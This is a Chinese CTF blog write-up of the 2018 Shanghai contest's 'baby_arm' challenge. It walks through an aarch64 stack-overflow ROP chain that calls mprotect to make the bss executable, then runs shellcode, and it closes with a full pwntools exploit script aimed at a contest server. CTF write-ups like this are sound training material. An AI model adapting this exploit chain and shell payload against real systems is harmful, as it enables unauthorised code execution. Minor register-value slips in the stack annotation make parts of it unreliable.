2018上海大学生网络安全大赛

这次比赛就两题pwn,我这个挂机pwn手还是继续挂机,可以说是很真实了,第一题是arm64的pwn题,总体看起来部署很难,然而第一次接触arm,还是搞不出来,本地环境出了一堆玄学问题,从跑不起来到调试不了到利用不了。第二题则是一个模拟web的GET和POST机制的一个程序,但看了好久,硬是没看出啥漏洞点,打扰了orz

后面看了一下大佬的博客,才复现成功,tql

先膜大佬:1mpossible

baby_arm

这题防御机制是这样的:主要就开了一个NX保护

	Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled****
    PIE:      No PIE (0x400000)

然后程序的逻辑就是让你输入一波字符串到bss段上,然后在输入一波字符串到栈上,可以导致栈溢出

逻辑很简单,关键点在于rop的构造,然而没接触过arm64的汇编,可以说看得很难受了

主要的gadget是这两个:

.text:00000000004008AC loc_4008AC (gadget1)                     
.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3]
.text:00000000004008B0                 MOV             X2, X22
.text:00000000004008B4                 MOV             X1, X23
.text:00000000004008B8                 MOV             W0, W24
.text:00000000004008BC                 ADD             X19, X19, #1
.text:00000000004008C0                 BLR             X3
.text:00000000004008C4                 CMP             X19, X20
.text:00000000004008C8                 B.NE            loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC (gadget2)                      
.text:00000000004008CC                 LDP             X19, X20, [SP,#0x10]
.text:00000000004008D0                 LDP             X21, X22, [SP,#0x20]
.text:00000000004008D4                 LDP             X23, X24, [SP,#0x30]
.text:00000000004008D8                 LDP             X29, X30, [SP],#0x40
.text:00000000004008DC                 RET

这个arm64语法也是真的很迷,这段的解释是这样的:

loc_4008AC (gadget1)   
	LDR             X3, [X21,X19,LSL#3] 将X21中的地址所指向的值赋值给X3(算是间接寻址吧)
	MOV             X2, X22  将X22的内容赋值给X22
	MOV             X1, X23  将X23的内容赋值给X1
	MOV             W0, W24  将W24的内容赋值给W0
	ADD             X19, X19, #1  X19 = X19+1
	BLR             X3        跳转到X3执行
	CMP             X19, X20  比较X19和X20的值
	B.NE            loc_4008AC  如果X19和X20不相等则跳转到loc_4008AC,如果相等则往下继续执行


loc_4008CC (gadget2)                      
	LDP             X19, X20, [SP,#0x10] 将SP+0x10、SP+0x18中的内容分别赋值给X19、X20
	LDP             X21, X22, [SP,#0x20] 将SP+0x20、SP+0x28中的内容分别赋值给X21、X22
	LDP             X23, X24, [SP,#0x30] 将SP+0x30、SP+0x38中的内容分别赋值给X23、X24
	LDP             X29, X30, [SP],#0x40 将SP、SP+0x08中的内容分别赋值给X29、X30
	RET		

我们需要通过这两个gadget去先执行mprotect函数,构造:mprotect(0x411000,0x1000,0x7)

使得bss段可执行shellcode,根据arm64的函数调用规则,参数1~参数8 分别保存到 X0~X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。

因此我们要使得:

X0 = 0x411000 = X24

X1 = 0x1000 = X23

X2 = 0x7 = X22

同时还要使得执行完mprotect(0x411000,0x1000,0x7)后去执行shellcode

这里就需要构造第二次执行gadget2的栈布局了

于是,栈的布局应该是这样:

00:0000 sp  0x40007ffe40 ◂— 0x0	--> x29
01:0008     0x40007ffe48 —▸ 0x4008ac ◂— ldr    x3, [x21, x19, lsl #3]	--> x30
02:0010     0x40007ffe50 ◂— 0x0	--> x19	
03:0018     0x40007ffe58 ◂— 0x1	--> x20
04:0020     0x40007ffe60 —▸ 0x411168 —▸ 0x400600 (mprotect@plt) --> x21 -->x3
05:0028     0x40007ffe68 ◂— 0x5	--> x22	-->x2
06:0030     0x40007ffe70 ◂— 0x1000  -->x23	-->x1
07:0038     0x40007ffe78 —▸ 0x411000 -->x24-->w0
08:0040     0x40007ffe80 ◂— 0x0	
09:0048     0x40007ffe88 —▸ 0x411068 -->下一个x30,shellcode的地址
0a:0050     0x40007ffe90 ◂— 0xdeadbeef	*6

由此就可以getshell了

exp:

from pwn import *
import sys
import time
bin_elf = './arm_pwn'
context.binary = bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
    p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
    p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/",bin_elf])
else:
    p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", bin_elf])

elf = ELF(bin_elf)


buf = asm(shellcraft.aarch64.sh())
buf = buf.ljust(0x100,'\x00')
buf += p64(0x400600)

p.recvuntil('Name:')
p.send(buf.ljust(0x200,'\x00'))

pause()

gadget1=0x4008AC
gadget2=0x4008CC
buf = 0x411068

payload = 'a'*0x48 + p64(gadget2)
payload +=  p64(0) + p64(gadget1) + p64(0) + p64(1) + p64(0x411168) 
payload +=  p64(7) + p64(0x1000) + p64(0x411000) 
payload +=  p64(0) + p64(buf) + p64(0xdeadbeef)*6

p.send(payload)
pause()
p.interactive()